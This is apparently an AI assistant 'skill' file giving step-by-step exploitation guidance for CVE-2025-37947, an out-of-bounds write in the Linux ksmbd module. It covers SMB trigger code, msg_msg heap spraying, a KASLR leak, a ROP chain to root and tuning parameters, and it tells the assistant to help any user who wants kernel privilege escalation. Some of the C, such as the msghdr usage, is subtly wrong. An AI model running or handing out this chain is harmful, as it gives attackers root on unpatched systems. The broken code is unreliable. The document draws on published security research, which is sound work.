ksmbd CVE-2025-37947 Exploitation Skill
This skill provides comprehensive guidance for understanding and exploiting CVE-2025-37947, a deterministic out-of-bounds write vulnerability in the ksmbd kernel module that enables local privilege escalation on Ubuntu 22.04 LTS (5.15.0-153-generic).
When to Use This Skill
Use this skill when:
- The user asks about ksmbd vulnerabilities or CVE-2025-37947
- The user needs to perform kernel LPE on a system with ksmbd enabled
- The user wants to understand the msg_msg + pipe_buffer exploitation primitive
- The user needs help with kernel heap grooming or page shaping
- The user is researching kernel exploitation techniques
- The user mentions streams_xattr, SMB shares, or ksmbd_vfs_stream_write
Vulnerability Overview
Root Cause
The vulnerability exists in fs/ksmbd/vfs.c in the ksmbd_vfs_stream_write() function:
static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count)
{
char *stream_buf = NULL, *wbuf;
size_t size;
size = *pos + count;
if (size > XATTR_SIZE_MAX) { // [1] clamp allocation
size = XATTR_SIZE_MAX; // 0x10000 (64KB)
count = (*pos + count) - XATTR_SIZE_MAX; // [1.1] recompute count
}
wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2] alloc 0x10000
stream_buf = wbuf;
memcpy(&stream_buf[*pos], buf, count); // [3] OOB when *pos >= 0x10000
kvfree(stream_buf);
return err;
}
The bug: When *pos >= 0x10000, the destination pointer &stream_buf[*pos] is already outside the allocated buffer, but memcpy still writes count bytes, causing an out-of-bounds write.
Offset Steering
Example calculation:
- Set
pos = 0x10018,count = 8 - After clamping:
count' = (0x10018 + 8) - 0x10000 = 0x20(32 bytes) memcpywrites 32 bytes starting atstream_buf[0x10018]- This is 0x18 bytes beyond the 16-page allocation
Prerequisites
System Requirements
- Ubuntu 22.04 LTS with kernel 5.15.0-153-generic (or similar 5.15.x)
- ksmbd kernel module loaded
- SMB share configured with
vfs objects = streams_xattr - User account with access to the SMB share
SMB Share Configuration
# /etc/samba/smb.conf
[share]
path = /share
vfs objects = streams_xattr
writeable = yes
browseable = yes
Required Tools
libsmb2library for SMB2/3 communicationgccfor compiling exploit codebpftraceorbccfor eBPF tracing (optional but recommended)gdbfor debugging
Exploitation Strategy
High-Level Plan
The exploitation uses the msg_msg + pipe_buffer primitive (adapted from CVE-2021-22555):
- Heap Grooming: Pre-shape physical memory so a target lies immediately after the 16-page kvmalloc buffer
- Trigger OOB: Use SMB streams write to corrupt adjacent kernel object
- Corrupt msg_msg: Overwrite a primary message's next pointer to create shared secondary
- Detect Corruption: Scan message queues to find mismatched tags
- Use-After-Free: Free real secondary, reclaim with fake msg_msg via UNIX sockets
- Infoleak: Abuse m_ts over-read to leak kernel heap pointers (bypass SMAP)
- Stabilize: Rebuild consistent fake msg_msg with sk_buff spray
- KASLR Bypass: Reclaim UAF with pipe_buffer, leak anon_pipe_buf_ops
- ROP Chain: Spray fake pipe_buf_operations with ROP gadget, execute to gain root
Stage 1: Heap Grooming
The kvmalloc(0x10000, GFP_KERNEL|__GFP_ZERO) allocates an order-4 (16 contiguous pages) block from the buddy allocator. You must pre-groom memory so a chosen target lies immediately after this block.
# Check per-order freelists and migrate types
sudo cat /proc/pagetypeinfo | sed -n '/Node 0, zone Normal/,/Node/p'
# Run eBPF tracer to monitor allocations
sudo ./scripts/bpf-tracer.sh
Grooming Strategy:
- Spray ~1000-2000 msg_msg objects of ~4096 bytes (fits kmalloc-cg-4k)
- Receive some messages to punch holes and encourage adjacency
- Exhaust order-3 and order-4 freelists to force allocator to split order-5 block
- This creates adjacent order-4 + order-3 pair
- Park order-3 slab (kmalloc-cg-4k) directly after stream buffer
Stage 2: Trigger OOB Write
// Minimal reachability via libsmb2
#include <smb2/libsmb2.h>
struct smb2_context *smb2;
struct smb2_tcon *tcon;
struct smb2_fd *fd;
// Authenticate
smb2 = smb2_init("127.0.0.1");
smb2_set_dialect(smb2, SMB2_DIALECT_21);
smb2_session_login(smb2, "username", "password", "workgroup");
// Connect to share
tcon = smb2_tree_connect(smb2, "\\\\127.0.0.1\\share");
// Open file with stream
fd = smb2_open(smb2, tcon, "\\file:stream", O_RDWR);
// Trigger OOB: pos=0x10018, len=8 → 32-byte OOB write
char payload[8] = {0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
smb2_pwrite(fd, payload, 8, 0x0000010018ULL);
// Cleanup
smb2_close(fd);
smb2_tree_disconnect(tcon);
smb2_session_logout(smb2);
smb2_free(smb2);
Stage 3: msg_msg Corruption
// Spray msg_msg objects
#define MSG_SIZE 4096
#define SPRAY_COUNT 1500
int msgq = msgget(IPC_PRIVATE, 0666);
struct msghdr msg;
char *buf = malloc(MSG_SIZE);
for (int i = 0; i < SPRAY_COUNT; i++) {
msg.msg_base = buf;
msg.msg_len = MSG_SIZE;
msg.msg_type = i + 1; // Tag each message
msgsnd(msgq, &msg, MSG_SIZE, 0);
}
// Punch holes to create adjacency
for (int i = 0; i < 100; i++) {
msgrcv(msgq, buf, MSG_SIZE, i + 1, 0);
}
Stage 4: Detect Corruption
// Scan for corrupted message pairs
for (int type = 1; type <= SPRAY_COUNT; type++) {
struct msghdr msg;
msg.msg_base = buf;
msg.msg_len = MSG_SIZE;
msg.msg_type = type;
ssize_t ret = msgrcv(msgq, &buf, MSG_SIZE, type, MSG_COPY | IPC_NOWAIT);
if (ret > 0) {
// Check if m_ts (timestamp field) contains unexpected data
// This indicates corruption
if (is_corrupted(buf)) {
printf("Found corrupted message at type %d\n", type);
break;
}
}
}
Stage 5-9: Full Exploitation
See the full exploit code at: https://github.com/doyensec/KSMBD-CVE-2025-37947/blob/main/CVE-2025-37947.c
Observability and Debugging
eBPF Tracer
Run the provided tracer to monitor kvmalloc addresses:
sudo ./scripts/bpf-tracer.sh
This logs allocation addresses and sizes, helping verify heap grooming:
# Check for 4096-byte allocations (msg_msg objects)
grep 4048 out-4096.txt
# Check for 65536-byte allocations (stream buffer)
grep 65536 out-65536.txt
Kernel Memory Inspection
# View pagetypeinfo for heap state
sudo cat /proc/pagetypeinfo
# Check slab caches
sudo cat /proc/slabinfo | grep -E 'kmalloc-cg-4k|msg_msg'
# Monitor kernel messages
sudo dmesg -w
Key Parameters to Tune
| Parameter | Typical Value | Purpose |
|---|---|---|
| msg_msg spray count | 1000-2000 | Populate order-3 slabs |
| Hole punch count | 50-150 | Create adjacency opportunities |
| OOB offset (pos) | 0x10018 | Control OOB write location |
| OOB length (count) | 8 | Results in 32-byte OOB after clamping |
| UNIX socket spray | 50-100 | Reclaim UAF with fake msg_msg |
| sk_buff spray | 100-200 | Stabilize fake msg_msg |
| pipe_buffer spray | 20-50 | Reclaim for KASLR bypass |
Bypassing Mitigations
KASLR
Leak anon_pipe_buf_ops address via pipe_buffer UAF:
// After pipe_buffer spray and free
// Read from pipe to trigger infoleak
read(pipe_fd, buf, sizeof(buf));
// Extract anon_pipe_buf_ops pointer
anon_pipe_buf_ops = *(uint64_t*)(buf + offset);
// Calculate kernel base
kernel_base = anon_pipe_buf_ops - anon_pipe_buf_ops_offset;
SMEP/SMAP
Execute ROP chain in kernel context via pipe_buf_operations->release:
// Fake pipe_buf_operations structure
struct fake_pipe_buf_ops {
uint64_t release; // Points to ROP gadget
uint64_t reserved;
uint64_t ops[10];
};
// ROP chain for privilege escalation
uint64_t rop_chain[] = {
gadget_disable_smep_smap,
gadget_prepare_kernel_cred,
gadget_commit_creds,
gadget_ret
};
Hardened Usercopy
Not applicable - the page overflow primitive corrupts non-usercopy kernel fields directly.
Reliability and Tuning
- Success rate: High once adjacency is achieved (~90%+)
- Common failures: <10% panics or misses
- Improvement tips:
- Overwrite two LSBs of pointer to induce specific collisions
- Write pattern
0x0000_0000_0000_0500into overlap region - Tune spray/free counts based on kernel version
- Use eBPF tracing to verify heap state before triggering
Safety Warnings
⚠️ IMPORTANT: This skill is for educational and security research purposes only.
- Only test on systems you own or have explicit authorization to test
- Kernel exploitation can cause system instability or crashes
- This vulnerability affects specific kernel versions - check your system
- Always have backups before testing kernel exploits
- Consider using VMs for testing
References
- Doyensec Blog: ksmbd - Exploiting CVE-2025-37947 (3/3)
- Proof of Concept
- Full Exploit
- eBPF Tracer Script
- libsmb2 Library
Quick Start
To begin exploitation:
- Verify system is vulnerable (kernel 5.15.x with ksmbd)
- Configure SMB share with streams_xattr
- Run heap grooming script
- Trigger OOB write via SMB
- Execute full exploit chain
- Verify root access
Use the provided scripts and adapt parameters based on your system configuration.